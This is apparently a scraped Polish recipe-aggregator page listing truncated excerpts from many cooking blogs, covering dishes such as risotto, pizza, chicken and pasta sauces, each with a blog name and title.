Risotto należy gotować na bardzo małym ogniu, bez przykrycia, od czasu do czasu mieszając. Dzięki temu ryż powoli będzie uwalniał skrobię, która połączy się z bulionem i stworzy kremowy sos. Ryż jest ugotowany, gdy wszystkie jego ziarna są miękkie z zewnątrz, ale nie rozpadają się podczas mieszania (są al dente w środku, ale nie za twarde). Bulion dodawany do risotto

Gospodyni Miejska
Pieczona młoda marchewka 202

przyprawy. Wymieszać. Marchewki umieścić na blasze wyłożonej papierem do pieczenia. Polać wszystko gotową marynatą, posypać liśćmi tymianku.  Dłońmi obtoczyć marchewki w marynacie, aby ze wszystkich stron pokryły się sosem. Wstawić do nagrzanego na 200 stop. C piekarnika (grzanie góra/dół) i piec 10-15 minut. Po tym czasie włączyć termoobieg i zapiekać kolejne 10 minut, aż marchewki zmiękną

gutfut
Udka z kurczaka w cieście francuskim 307

tych, którym znudziły się klasycznie smażone, czy pieczone udka. 6 podudzi z kurczaka 1 opakowanie ciasta francuskiego MARYNATA: 4 łyżki oleju rzepakowego 1 łyżeczka czosnku granulowanego staropolskiego 2 łyżki sosu sojowego 1 łyżeczka płynnego miodu prawdziwego 1 łyżeczka soku z cytryny 1/2 łyżeczki papryki słodkiej sól Wszystkie składniki marynaty umieścić w dużej misce i rozetrzeć. Z podudzi z kurczaka ściągnąć

https:KKuchniaMniam
Pizza na grubym spodzie 218

ciepłym miejscu na ok 1-1,5 godziny do wyrośnięcia. Wyrośnięte ciasto przekładamy na rozłożony na blacie kuchennym papier do pieczenia, rozciągamy/wałkujemy na okrągły placek.   Smarujemy sosem pomidorowym/keczupem i nakładamy ulubione składniki.  Pieczemy przez 18-20 minut w 240-220oC w naparowanym piekarniku. Podajemy gorącą, prosto z piekarnika. Ja, do pizzy ze zdjęcia dodałem: - tuńczyka

Przepisy na domowy ser i chleb
bitki z indyka w sosie śmietankowym z czosnkiem niedźwiedzim... 183

wszystkie są zrumienione to włożyć pozostałe do garnka, wlać wodę i pod przykryciem dusić z 25 minut dodać śmietanę 18%, wsypać czosnek niedźwiedzi i krótko zagotować - pyszne bitki w sosie można podać z czym się lubi............SMACZNEGO

W Mojej Kuchni Lubię
KĄSKI Z KURCZAKA W PANIERCE Z PŁATKÓW KUKURYDZIANYCH 160

Kąski z kurczaka to doskonały pomysł zarówno na obiad jak i jako przekąska imprezowa. Pyszne, chrupiące. Idealne z różnego rodzaju sosami czy ketchupem, smakują wyśmienicie :) Do wykonania panierki wykorzystałam płatki kukurydziane  Corn Flakes  firmy  Lubella . Składniki: * 1 podwójna pierś z kurczaka * sól, pieprz, ulubione przyprawy * 1 jajko * płatki kukurydziane * bułka tarta * odrobina oleju Pierś z kurczaka pokroić

Zrób to smacznie
Pyszny schab pieczony w mleku 167

piekarnik i naczynia. Zawijamy szczelnie w papier lub folię i wkładamy do ciepłego lecz wyłączonego już piekarnika aż do wystygnięcia. Z płynu, który zostanie po pieczeniu możemy zrobić sos, wystarczy zredukować ilość wody, w razie potrzeby zmiksować. Jeśli chcemy schabik skonsumować w formie wędliny, do sałatki lub kanapki- najlepiej jeśli cierpliwie poczekamy z konsumpcją do rana, niech dobrze wystygnie

Pichceniomania
Domowe wywary bez dodatku chemii ! 241

Warzywny drobiowy, mięsny i grzybowy podstawowe smaki wywarów. Przydadzą się do przygotowania zup sosów czy galaret. WARZYWNY Składniki: 3 cebule 4 marchewki 1/4 korzenia selera lub 3 łodygi selera 2-3 ząbki czosnku pęczek natki pietruszki liść laurowy 2-3 gałązki tymianku 10 ziaren pieprzu Sposób przygotowania: Obierz cebulę, marchew, seler. Warzywa umyj i pokrój w kostkę. Obierz czosnek

Menu Zdrowia
Bitki schabowe w sosie grzybowym ze szmaciakiem 252

jest jędrny i bardzo aromatyczny. Po namoczeniu szmaciak wygląda jak świeży, ale jest bardziej sprężysty i nie taki kruchy co akurat w przypadku dodatku do dania duszonego jest zaletą. Sos zyskał cudowny, grzybowy zapach i smak. Przypomniały mi się jesienne wędrówki i zatęskniłam za Podlasiem ... ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Pasta z tuńczyka i awokado 249

bardzo fajnie :) Obecność awokado sprawia, że możemy pominąć oliwę, jogurt czy majonez - pasta jest kremowa i świetnie rozprowadza się na kanapce! SKŁADNIKI 1 dojrzałe awokado 1 puszka tuńczyka w sosie własnym 1 mała szalotka 1 łyżka posiekanej natki pietruszki sok z połowy cytryny sól  świeżo mielony pieprz PRZYGOTOWANIE Tuńczyka odsączamy z zalewy, mieszamy z pokrojonym awokado, posiekaną cebulką

Moje Kuchenne Rewelacje
PROPOZYCJE KOLOROWYCH KANAPECZEK IMPREZOWYCH 777

Bagietki z serkiem śmietankowym, koperkiem, ogórkiem i rzodkiewką. Bagietki z serkiem śmietankowym, koperkiem, ogórkiem i papryką. Kanapeczki z wędliną, sosem pomidorowym, pomidorem, ogórkiem zielonym i kiszonym, rzodkiewką oraz koperkiem

JejKuchnia
WIOSENNE JAJKA 206

Jajka z sosem czosnkowym, rzodkiewką i szczypiorkiem

JejKuchnia
Orientalna ciecierzyca z pieczarkami i kuskusem 150

dodajemy koncentrat pomidorowy i wyciśnięty przez praskę czosnek. W miarę  potrzeb podlewamy wod ą i gotowe . Kuskus przygotowujemy według przepisu na opakowaniu. Podajemy z gotowym sosem. Danie posypujemy świeżo posiekan ą  kolendr

kulinarne odsłony pati
Skorzonera, wężymord, czarny korzeń 225

sodu, fosforu i magnezu. Skorzonera jest też dobrym źródłem witamin z grupy B i witaminy C. Można przyrządzić z niej wiele dań: ugotować, polać masłem i bułką tartą lub sosem, np. beszamelowym. Można skorzonerę usmażyć w cieście naleśnikowym lub podać na słodko z miodem. Wykorzystuje się też ją w surówkach i sałatkach. Jak przygotować czarny korzeń? Najpierw trzeba go obrać

Qlinarnie i Qlinarnie
Kluski leniwe z rodzynkami 220

oprószone cukrem. SMACZNEGO!     Uwagi do przepisu: Z podanych składników wychodzi widoczny na zdjęciach talerz klusek, czyli max. porcja dla 2 dorosłych osób. Kluski można także podać polane sosem truskawkowym czy jagodowym.  W przypadku dodania zbyt dużej ilości mąki (więcej niż 250 ml) kluski mogą wyjść twarde. W takim przypadku najlepiej dodać jeszcze jedno jajo. Ja dałam

Gospodyni Miejska
Polędwiczki w sosie z suszonych grzybów 242

pieprz, papryka słodka, majeranek, czosnek granulowany natka pietruszki olej 1. Grzyby zalewamy wrzątkiem, zostawiamy je na 2-3h, najlepiej na całą noc (nie wylewamy wody - użyjemy jej do sosu). 2. Cebulę i grzyby drobno siekamy. Polędwiczki kroimy w plastry. Posypujemy je solą i przyprawami, podsmażamy na rozgrzanym oleju z dwóch stron, dodajemy cebulę, grzyby, smażymy jeszcze chwilę. Wlewamy wino

Szefowa kuchni
MAKARON Z WOŁOWINĄ I MARCHEWKĄ 192

wkładam mięso. Smażę na rumiano.  Dodaję przyprawy a następnie dodaję przecier pomidorowy. Duszę dalej. Marchewkę obieram następnie za pomocą obieraczki kroję wstążki. Dodaję do mięsa.  Duszę aż sos będzie gęsty. Dodaję makaron.  Całość mieszam.  Podaję na ciepło

Gotowanie Patki
Makaron z tuńczykiem i pomidorkami koktajlowymi 165

zapraszam na makaron z dodatkiem tuńczyka i pomidorków koktajlowych. Do przygotowania porcji dla 4 osób będziemy potrzebować: - porcję makaronu (u mnie pappardelle z suszonymi pomidorami) - 2 puszki tuńczyka w sosie własnym (każda po 130 g po odsączeniu) - kilka pomidorków koktajlowych - 4 ząbki czosnku przeciśnięte przez praskę - tarty parmezan - sok z cytryny - 2 łyżki masła - 4 łyżki oleju - 2 chochle wody

Bez Cebuli
Spaghetti z porem 167

Pory kroimy w piórka, podsmażamy na maśle, dodajemy wino i dusimy pod przykryciem przez 10 min. Do całości dodajemy śmietankę, lekko zagęszczamy. Do smaku doprawiamy solą i pieprzem. Do sosu przekładamy makaron, razem podgrzewamy przez 3-4 min. Podajemy z natką pietruszki. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Kura we rieslingu (Coq au riesling ;) ) 178

szerokie 32 obtoczcie 33 troszeczkę 34 pryskać 35 przypiecze 36 wrzućcie 37 wlejcie 38 chochli 39 podpalcie 40 będzie 41 oblejcie 42 alkohol 43 pobulgocze 44 dajcie 45 sosu 46 rozmieszać 47 gęsta 48 leniwy 49 górę 50 jedzenie 51 makaronem Artykuł Kura we rieslingu (Coq au riesling ;) ) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Ciasto pełnoziarniste na pizze. IDEALNE. 266

gładkie. Ciasto dzielimy na 2 części i wałkujemy na średnicę większą niż blaszka. Blaszki ok 30 cm smarujemy oliwą. Układamy ciasto i zawijamy brzegi do środka. Ciasto smarujemy dowolnym sosem, dodajemy ulubione dodatki, posypujemy serem. Pieczemy ok. 20 min w wcześniej nagrzanym piekarniku do 230 stopni

Apetyt na Zielone
Gnocchi zapiekane w pomidorach – obiad w 20 minut 334

szklimy. Wrzucamy czosnek, smażymy aż straci ostry surowy zapach. Dodajemy puszkę pomidorów z sokiem i pół puszki wody. Wsypujemy zioła i przyprawy, mieszamy, gotujemy razem przez dwie minuty. Gotowym sosem zalewamy porozkładane w formach gnocchi. Rozrywamy kulkę mozzarelli i rozkładamy równomiernie między foremkami. Posypujemy startą, twardą mozzarellą. Wstawiamy foremki do piekarnika, rozgrzewamy go do 180⁰C i pieczemy tak długo

Karo in the Kitchen
Sałatka z brokułem na ciepło 204

ugotuj we wrzątku ok 7 minut. Odcedź. Jaja ugotuj na twardo. Boczek potnij w paseczki i usmaż na chrupko. Rozłóż brokuły i jajka na talerzu posyp boczkiem i polej sosem przygotowanym z soku z połówki cytryny i musztardy

AZgotuj!
Spaghetti makaronowo-marchewkowe 195

Wyśmienicie będą smakować z dodatkiem prażonych nasion dyni, płatków migdałowych, orzechów oraz serów. Makarony warzywne polecamy również dzieciom jako pyszny warzywny dodatek do posiłków lub samodzielne danie makaronowe z sosem pomidorowym. spaghetti z marchewki makaron spaghetti kawałek piersi z kurczaka sól,pieprz domowa Vegeta listek, ziele susz warzywny oliwa Pierś z kurczaka ugotować z dodatkiem przypraw i suszonych warzyw,następnie

Moje domowe kucharzenie
Zasmażane ziemniaki z białą kiełbasą w sosie musztardowym 193

obiad dla całej rodzinki. Treściwe, aromatyczne, ja dodatkowo zakupiłam moje ulubione ziemniaki red fantasy więc danie było jeszcze bardziej smakowite. Polecam bardzo gorąco. Zasmażane ziemniaki z białą kiełbasą w sosie musztardowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Deserki kokosowe z chia 259

Składniki: 2 szklanki napoju kokos Hortex 1 jogurt naturalny (200 ml) 2 łaskie łyżki żelatyny 50 g chia 50 ml Malibu sos owocowy, u mnie wiśniowy wiórki kokosowe Przygotowanie: W … Czytaj dalej Deserki kokosowe z chia

czarrna od kuchni
Tarta LCHF ala pizza z salami | bezglutenowa, bez laktozy, fit, dietetyczna | 208

mieszamy koncentrat pomidorowy z przyprawami oraz 3 łyżkami wody. Paprykę kroimy w paseczki, ser mozzarella ścieramy na grubych oczkach, oliwki kroimy na pół. Tartę po wyciągnięciu z piekarnika smarujemy sosem pomidorowym, nakładamy świeże warzywa, podduszoną cebulę, posypujemy serem i układamy salami. Wkładamy ponownie do piekarnika na 10-15 min do momentu rozpuszczenia sera

Czarnawisienka
Ziołowe paluszki z kurczaka 197

lodówki. Każdy kawałek mięsa obtaczamy w mace. Następnie panierujemy kurczaka w rozmąconym jajku (doprawionym) solą i pieprzem) oraz bułce tartej. Mięso smażymy na rozgrzanej patelni na oleju. Podajemy z sosem czosnkowym

VioletoweKucharzenie
Wegańskie pomidorowe curry z ciecierzycą 223

gotuj razem 5 minut. Kolejno dodaj całą zawartość puszki z mlekiem kokosowym, dopraw solą i gotuj wszystko razem 10 minut. Wiem, że wygląda to mało zachęcająco Ale jak sos się zredukuje to nie dość, że wygląda lepiej to smakuje obłędnie. Smacznego!   Artykuł Wegańskie pomidorowe curry z ciecierzycą pochodzi z serwisu %%http://www.greenscarf.pl/%%.

greenscarf
Smoothie pomarańczowo anansowo kokosowe 201

Mocne pomarańczowo ananasowe smoothie z nutą kokosową. Idealne na odświeżenie. Składniki: ananas, pomarańcza, sos Hortex pomarańczowy, wiórki kokosowe. Przygotowanie: do blendera wkroić ananasa, pomarańczę, zalać sokiem pomarańczowym Hortexu, a następnie wsypać wiórki kokosowe. Całość zmiksować, przelać do szklanki i delektować się smakiem

Państwo Wojtczuk gotują
Spaghetti z buraka z pieczarkami 181

majeranek, tymianek, łyżeczkę soli i pieprzu oraz śmietanę i smażyć na małej mocy palnika do czasu delikatnego zgęstnienia śmietany. Spaghetti z buraka wyłożyć na talerz, na wierzch pieczarki z sosem i wszystko posypać posiekaną natką pietruszki. Zobacz również: Makaron z warzyw w stylu azjatyckim

Kuchcik gotuje
Kapusta z octem ryżowym (jak u chińczyka) 211

liście, wyciąć głąb. Poszatkować  - użyłam robota. Do małego garnka wlać ocet, oliwę, dodać sól, chili i ksylitol. Wymieszać, zagotować. Dodać posiekany czosnek  i odstawić do wystygnięcia. Wystudzonym sosem zalać kapustę i bardzo dokładnie wymieszać. Dodać pokrojoną zieloną cebulkę. Przykryć, odstawić na 3 - 4 godziny, aby wszystkie smaki się przegryzły.  Smacznego

Stare Gary
KURCZAK TIKKA MASALA 203

piekarnik i woreczek do pieczenia. Kurczak tikka nadaje się idealnie do obiadu, sałatek czy kanapek. Polecam. SKŁADNIKI: 1 filet z kurczaka podwójny Marynata 2 łyżki oleju rzepakowego 2 łyżki sosu sojowego ciemnego 3 łyżki pasty curry tikka masala Sól i pieprz do smaku 1 łyżeczka czosnku niedźwiedziego 1 łyżeczka czosnku granulowanego 1 łyżeczka papryki chilli PRZYGOTOWANIE:  Filet z kurczaka

Gotowanie Patki
Zielone małże nowozelandzkie w winie 184

chwilę gotujemy, aż odparuje alkohol z wina. Solimy, pieprzymy i wkładamy małże, patelnie przykrywamy i dusimy małże przez 3 minuty. Po tym czasie małże przekładamy na talerz, polewamy je sosem i skrapiamy sokiem z  cytryny

Kulinarne przygody Gatity
Cukinie z suszonymi pomidorami, szpinakiem i harrisą 209

smażymy całość aż szpinak zwiędnie 4. Pomidory z puszki przekładamy do rondelka, dodajemy cynamon, oregano, sól i pieprz do smaku, zagotowujemy następnie przekładamy na dno naczynia żaroodpornego, można dosłodzić sos miodem, cukrem brązowym lub syropem z agawy 5. Piekarnik nagrzewamy do 180 stopni, doprawiamy farsz solą i pieprzem, następnie nakładamy do wydrążonych cukinii, na wierzchu układamy plastry koziego sera

Słodki Kompromis
Roladki po wysocku – kuchnia podkarpacka 229

zwijamy w rulonik, obtaczamy w bułce tartej i smażymy na tłuszczu. Po usmażeniu układamy w rondlu, zalewamy wywarem z ugotowanych grzybów i dusimy na wolnym ogniu około 30 minut. Sos przyprawiamy według uznania. Przepis pochodzi z publikacji „Czarnorzecko-strzyżowska kraina smaków. Tradycyjne przepisy kulinarne Kół Gospodyń Wiejskich z terenu działania Stowarzyszenia Czarnorzecko-Strzyżowska”. Alfabetyczny spisprzepisów KUCHNI PODKARPACKIE

Trzeci talerz
ZAPIEKANKA Z MIĘSEM MIELONYM I FASOLKĄ SZPARAGOWĄ (keto, LCHF, optymalna) 410

sera. Całość posypać ziołami prowansalskimi. Zapiekać bez przykrycia w temperaturze 180° C przez ok. 15-20 minut. Zapiekanka znakomicie smakuje sama ale można też podać ją z różnego rodzaju sosami np. na bazie śmietany, pomidorów itp. Smacznego! — BTW całości: 2450 g, 4551 kcal, B 275 g, W 43 g, T 362 g. BTW w 100g: 186 kcal

Ola la LCHF
SZYBKA ZUPA Z KAPUSTY Z WĘDZONYMI KABANOSAMI 347

gotować do momentu, aż będą miękkie – jakieś 15 – 20 minut. Wyciągnąć skrzydełka, wyskubać mięso do miski i zalać zupą. * używam maggi własnej roboty przygotowanej z lubczyku i sosu sojowego

kuchniabellissima.wordpress.com
Pieczony ryż z indykiem i warzywami w aromatycznym sosie 257

około 2 łyżek masła i wstawiamy na kolejnych 10 minut. Po tym czasie mięsko będzie upieczone na pewno, natomiast ryż ugotowany na sypko z nutą pomidorowego i lekko maślanego sosu

Pichceniomania
Wolno pieczona, szarpana wołowina z papryczkami peperoni 198

jakim jest kark. Nie sprawdzą się natomiast udziec czy łopatka wołowa, gdyż są zbyt chude. Szarpaną wołowinę można wykorzystać jako dodatek do tortilli, sałatek, kanapek. Świetnie smakuje zatopiona w sosie pomidorowym czy bbq. Źródło przepisu: The Pioneer Woman

Gospodyni Miejska
BATATY PIECZONE INACZEJ 178

połowy wysokości naczynia) i piecz w rozgrzanym piekarniku (200°- 210)C) przez około 40 minut, do miękkości. Gdyby bataty za bardzo się przypiekały, możesz je polać z wierzchu sosem z pieczenia

Smaki Francji współczesna kuchnia francuska
Gulasz z boczniaków / Oyster mushroom stew 282

wykorzystać na danie, które idealnie wpisuję się w tą porę roku. Takim sposobem powstał na prawdę pyszny gulasz z boczniaków, z dodatkiem papryki i marchewki w gęstym, dobrze doprawionym sosie pomidorowym. Doskonały z chrupiącym chlebkiem, jak i jako dodatek do dań głównych. Ja podałam je z pysznymi udkami z kaczki pieczonymi w miodzie i było baaardzo pysznie. Sam przepis znalazłam

karmelowy
Naleśniki po meksykańsku 219

warzyw z mięsem dodać przecier pomidorowy, keczup, sól, pieprz, paprykę w proszku i zioła prowansalskie oraz przeciśnięty przez praskę czosnek. Chwilę dusić. Na koniec dodać kukurydzę i fasolę. Gorącym sosem przekładać ciepłe naleśniki, podawać polane keczupem lub posypane serem żółtym

Cukiernia Pychotki
Churros 204

smaku? Przepyszne! :) Dla mnie zdecydowanie wystarczająca jest posypka z cukru, jeśli chodzi o poziom słodkości tego przysmaku, jednak dla spragnionych słodszych doznań polecam maczać churros np. w czekoladowym sosie. Są doskonałym dodatkiem do kawy, gorącej czekolady, czy też kakao. Przepis pochodzi z bloga „Moje wypieki” (wprowadziłam niewielkie modyfikacje). Składniki (na ok. 35 sztuk): 240 ml wody 3 duże jajka

MyCookBook.pl
Pita z tuńczykiem 239

Składniki: 2 chlebki pita 1 puszka tuńczyka 1 pomidor 4 łyżki groszku z puszki kilka plasterków cebuli kawałek kapusty pekińskiej sos 100 wysp Fanex Przygotowanie: Pity obsmażyć na suchej patelni, … Czytaj dalej Pita z tuńczykiem

czarrna od kuchni
Ciasto z masą czekoladową i malinową wkładką 202

pestek, które niestety później lekko mi przeszkadzały). Ponownie umieszczamy na palniku i podgrzewamy. Dodajemy cukier puder do smaku oraz sok z cytryny (około 1 łyżkę). Doprowadzamy do wrzenia. Gdy sos malinowy się zagotuje rozpuszczamy w nim 1 galaretkę malinową, mieszamy. Całość przelewamy do tortownicy (18cm) wyłożonej folią spożywczą i odkładamy do całkowitego stężenia. Z mleka odlewamy 1/2 szklanki i rozprowadzamy

Smaki Na Talerzu
Ciasto na pizzę 284

pieczonych pizz), każdy rozciągnąć na wielkość blaszki, zostawiając grubość ciasta wg własnego gustu. Podczas formowania placka lepiej nie używać wałka, pozwoli to zachować puszystość ciasta. Na ciasto wyłożyć składniki: sos, ser oraz inne dodatki, wstawić do nagrzanego do 250-280stC piekarnika, piec ok 7-10 minut (w zależności od grubości ciasta). Pizzę można również upiec na kamieniu, który należy

Obiad gotowy
Kotlety z gotowanego drobiu 224

dodajemy starty żółty ser,bułkę tartą i  doprawiamy solą oraz pieprzem wedle uznania. Formujemy kotlety, obtaczamy w bułce tartej i smażymy na rozgrzanym oleju rzepakowym. Podajemy z ziemniakami, sosem- u mnie najczęściej koperkowym i surówką

Kuchnia w czekoladzie
Piersi z kurczaka nadziewane szpinakiem, oliwkami i mozzarellą w cieście francuskim 405

Pyszna propozycja obiadowa. U mnie w towarzystwie frytek i miksu sałat z sosem winegret. Warto zrobić, bo piersi z kurczaka podane w ten sposób są na prawdę smaczne. SKŁADNIKI 2 duże piersi z kurczaka 140 g szpinaku mrożonego rozdrobnionego 1 ząbek czosnku 1 płaska łyżka masła 40 g zielonych oliwek 1 kulka mozzarelli 2 jajka bułka tarta do obtoczenia piersi

Passions hobbies life
RECENZJA KSIĄŻKI Z PRZEPISAMI "POLSKA KSIĄŻKA KUCHARSKA" 183

zimne * Mąka   * Makarony   * Kluski   * Knedle   * Pierogi * Kasza * Ryż * Jajka * Grzyby * Mięso   * Wołowina   * Wieprzowina   * Cielęcina   * Dziczyzna   * Drób   * Baranina * Pasztety * Ryby * Sosy * Sałatki * Surówki * Desery * Ciasta   * Baby, babki, babeczki   * Ciasta i ciastka bezowe   * Ciasta bez pieczenia   * Ciasta i ciastka biszkoptowe   * Ciasta i ciastka czekoladowe   * Ciasta

Zrób to smacznie
Tosty z oscypkiem i rukolą 146

Tosty z oscypkiem to cos co poprostu uwielbiam, a połączenie go z rukola jest bezkonkurencyjnie :) Idealnie komponuje sie z żurawiną lub sosem czosnkowym. Składniki: *chleb tostowy 4 ziarna *rukola *oscypek *szynka *zurawina/sos czosnkowy  *łyżka masła  Przygotowanie: 1. Na chleb tostowy układamy kawałki oscypka, rukolę i szynkę. 2. Przykładamy druga kromka i smarujemy delikatnie masłem. 3. Zapiekamy w tosterze

FITBUuK
Jajka zapiekane w kokilkach 181

jajka *sół, pieprz *bazylia, oregano *szczypiorek Przygotowanie: 1. Cebule i czosnek zeszklić na patelni. 2. Dodajemy drobno posiekaną papryke i pomidory. 3. Doprawiamy ziołami, solą i pieprzem. 4. Przekładamy sos do kokilek, dodajmy porwaną na kawałki mozzarelle. 5. Na wierzch każdej wbijamy po jajku i posypujemy posiekanym szczypiorkiem. Smacznego

FITBUuK
Frytki z MARCHEWKI 168

Frytki z marchewki? Moim zdaniem rewelacja! Dietetyczne i pysznie smakują z sosem jogurtowym :) Zdecydowanie polecam! Składniki: *4 marchewki *bazylia *oregano *tymianek *sól, pieprz *łyżka oliwy Przygotowanie: 1. Marchewki obieramy i kroimy jak na frytki. 2. Rozkładamy ja na blasze w piekarniku i skraplamy oliwą. 3. Przyprawiamy według uznanie. Smacznego

FITBUuK
Makaron z sosem bolognese 147

łyzkami bulionu i dodać do wywaru. 6. Wlać reszte bulionu, doprawić bazylią i oregano i gotować na małym ogniu pod przykryciem. 7. Gotujemy makaron al dente i podajemy z sosem i listkiem świeżej bazylii. Smacznego

FITBUuK
Czebureki 158

Dzielimy ciasto na kulki wielkości jajka i rozwałkujemy. 7. Nakładamy plaster sera żółtego, przygotowany farsz i lepimy jak dużego pieroga. 8. Smażymy na głębokim oleju. Świetnie smakują z sosem jogurtowo-czosnkowym :) Smacznego

FITBUuK
Jajka w cieście francuskim 210

Szybka przystawka, która idealnie komponuje się z sosem tatarskim. Można użyć gotowego ciasta francuskiego, bądź postawić poprzeczkę nieco wyżej i samemu je przygotować :) Przepis poniżej ;> Składniki na ciasto: 100ml zimnej wody 75g mąki krupczatki 125g mąki pszennej 250g masła w temp. pokojowej 7g soli (łyżeczka) Przygotowanie: 1. Wode wymieszać z solą, aż do całkowitego rozpuszczenia, a w garnuszku

FITBUuK
Kopytka z fasolką szparagową 158

Między czasie na patelni rozgrzewam masło i wrzucam fasolkę szparagową, 10. Dodaje przyprawy i bułkę tartą, aż się zarumieni. 11. Kopytka łącze z zawartością patelni i podaje z sosem czosnkowym przygotowanym na bazie jogurtu naturalnego. Smaczego :) WARTOŚCI ODŻYWCZE ziemniaków: Obecność potasu, który obniża ciśnienie we krwi oraz magnezu, który jest budulcem kości i zębów; Dostarczają niemal wszystkich witamin

FITBUuK
Makaronowa sałatka z brokułami i krczakiem 210

Jogurt naturalny mieszamy z olejem i fixem do sałatek. 7. Mieszamy wszystkie składniki (makaron, brokuł, kurczak, kukurydza). 8. Nakładamy na talerz, dodajemy ćwiartki jajka, posypujemy orzechami i polewamy sosem. Smacznego! WARTOŚĆ ODŻYWCZA- BROKUŁY Posiadają właściwości zdrowotne (chronią przed rakiem, wrzodami żołądka, anemią). Wpływają korzystnie na funkcjonowanie wzroku i regulują poziom cukru we krwi. Są skarbnicą potasu, który wpływa na drożność

FITBUuK
Zupa krem - serowa z grzankami 187

produkt sera. Poddany rozdrabnianiu, mieszaniu i mieszaniu wysokiej temperatury. Porównując do msła czy margaryny ma dużo mnie kalorii i większą zawartość białka. Często wykorzystywany do  przyrządzania różnych rodzajów sosów, jednak tym samym zwiększa ich kaloryczność. Wartości odżywcze (100g): 250-300kcal białko- 8-10g węglowodany 4-6g tłuszcze

FITBUuK
Gołąbki z czerwonej kapusty i kaszy gryczanej 204

Przygotowane gołąbki układamy ciasno, jeden przy drugim w garnku i zalewamy bulionem,  aż do przykrycia całości. 11. Gotujemy na małym ogniu ok. 20 min. Polecam również przygotowanie ulubionego sosu :) Smacznego! CZERWONA KAPUSTA Redukuje pozom cholesterolu. Kiedyś stosowana przy dolegliwościach jelitowych, gastrycznych, czy układu oddechowego. Czerowna kapusta jest doskonałym źródłem magnezu, wapnia, żelaza, sodu, potasu oraz witamin m.in. witaminy

FITBUuK
Makaron ze szpinakiem i białym twarogiem 195

szpinak. Dusimy chwile pod przykryciem. 3. Dodajemy twaróg i przyprawiamy do smaku. 4. Śmietanę łączymy z wodą i mąką. Zalewamy zawartość patelni. 5. Dodajemy makaron i delikatnie łączymy z sosem. 6. Posypujemy startym serem i odstawiamy z ognia,  do momentu roztopienia. 7.Posypujemy świeżym szpinakiem. Smacznego

FITBUuK
hot dog ? 244

Gorąca parówka w bułce z sosem, to hot dog, a jak nazwać parówkę w cieście, z serem, upieczoną w piekarniku? Nie wiem jak nazwać, ale potrafię taką przekąskę przygotować :) Wyrabiamy zwykłe ciasto z mąki, wody, jajka i soli. Obieramy parówki, kroimy ser i zieleninę. Wałkujemy ciasto, kroimy na kawałki i układamy ser, zieleninę i parówki. Zawijamy i układamy łączeniem

chleba naszego
naleśniki 174

prostu wziąłem dżem z czarnego bzu, żeby wszystkie placki były na słodko. Dla  odróżnienia, czarny bez zawijałem w rulonik :) Przed podaniem można dodać śmietanę, cukier puder, sos waniliowy, ... Naleśniki bardzo dobrze smakują też bez dodatków, na gorąco i na zimno  :) Mi jednak czegoś brakowało... więc znowu sięgnąłem do zapasów i zrobiłem napój jagodowy :) Wyszły pyszne naleśniki, jak również

chleba naszego
schab z rodzynkami 203

dodajemy do kanapek.  Ja pokroiłem schab na porcje obiadowe i dodałem włoszczyznę.  Wstawiłem na 40 min / 180 st. C  do piekarnika. Schab rozpływał się w ustach :) Sos wyszedł przepyszny :)  Można go podawać z chlebem, ziemniakami lub makaronem :)  Polecam ! Smacznego

chleba naszego
pizza domowa 238

cukru, łyżka soli, dwie szkl. ciepłej wody, trochę oleju. Po wyrobieniu, ciasto wkładamy do lodówki minimum na pół godziny, ale może tam być całą noc. Ja robię pizzę bez sosu pomidorowego, do obłożenia dajemy to co lubimy, ważne żeby nie przesadzić. Warto przygotować sobie wszystkie produkty wcześniej... U nas nie jest to jedna pizza a kilka, bo amatorów jest wielu

chleba naszego
gołąbki z kaszą... 191

Jeżeli z kaszą, to "staropolskie" ? Jak zrobić gołąbki po staropolsku :)  Zamiast ryżu używamy kaszę i do sosu nie dodajemy koncentratu pomidorowego :) Główkę kapusty gotujemy w osolonej wodzie i jak się gotuje to powoli odcinamy zmiękczone liście... Na farsz potrzebujemy ugotowaną kaszę pomieszaną z surowym mielonym mięsem,  podsmażoną cebulą i przyprawami...dodajemy również jajko, żeby farsz ładnie się kleił

chleba naszego
gulasz z piekarnika 164

Mięso przyprawiamy... Cebulę i paprykę podsmażamy... Do naczynia żaroodpornego dajemy włoszczyznę... Usmażoną cebulę ... Przyprawione mięso  krótko obsmażamy... Układamy kolejną warstwę... Pozostałe mięso podlewamy lekko ... Razem z powstałym sosem również przekładamy do naczynia... Wstawiamy do piekarnika na 90 min / 200 st.C ... Potem mamy pyszne danie ... Serwujemy :) jak kto lubi ...:)  Smacznego

chleba naszego
Full English breakfast 188

jajecznica) smażony lub grillowany bekon kiełbaska black pudding (bardzo podobna do naszej kaszanki, jednak z mocnym aromatem ziela angielskiego) pomidory (pieczone) pieczarki (podsmażone na maśle) baked beans (fasolka w sosie pomidorowym, praktycznie nikt nie przygotowuje jej sam, gotową do podgrzania kupuje się w puszce) tosta z masłem lub smażonego na maśle hash browns (placuszki z surowych ziemniaków, smażonych na głębokim

wysmienity
Wysokobłonnikowy jabłecznik 187

płatkach owsianych, mące pełnoziarnistej, siemieniu lnianym oraz jabłkach (chociaż tu w mniejszej ilości). Przygotowanie go nie zajmuje dużo czasu i jest pyszny. Można serwować go na ciepło z sosem waniliowym albo lodami waniliowymi. Składniki: 5 jabłek 150g masła 2 szklanki płatków owsianych błyskawicznych 3 łyżki siemienia lnianego pół szklanki maki pełnoziarnistej 2 jajka pół szklanki oleju łyżeczka esencji waniliowej pół

wysmienity
Jajko w koszulce na żółtej papryce – pomysł na wyjątkowe śniadanie 158

Bardzo lubię jajko w koszulce w połączeniu z innymi dodatkami. Po przekrojeniu żółtko rozlewa się tworząc pyszny sos. Takie śniadanie jest nie tylko zdrowe ale też wygląda na bardzo wyrafinowane i wykwintne. Może zaserwujecie je komuś rano na śniadanie do łóżka? Składniki: 2 jajka łyżeczka octu mała cebulka papryka żółta łyżka masła papryka słodka (przyprawa), sól, pieprz pieczywo (najlepiej ciemne

wysmienity
Soczysta pierś z kurczaka w sosie z wędzonej papryki i miodu 183

łyżkami oleju z każdej strony po 2 minuty. Następnie zalej całość wrzątkiem (tak by zakryć mięso – około 250ml) Dodaj podsmażoną cebulę oraz łyżkę miodu i gotuj aż sos się zredukuje i zgęstnieje

wysmienity
Pyszna sałatka ze słodkimi ziemniakami, granatem, orzechami nerkowca oraz sosem musztardowym. Bogactwo przeciwutleniaczy. 197

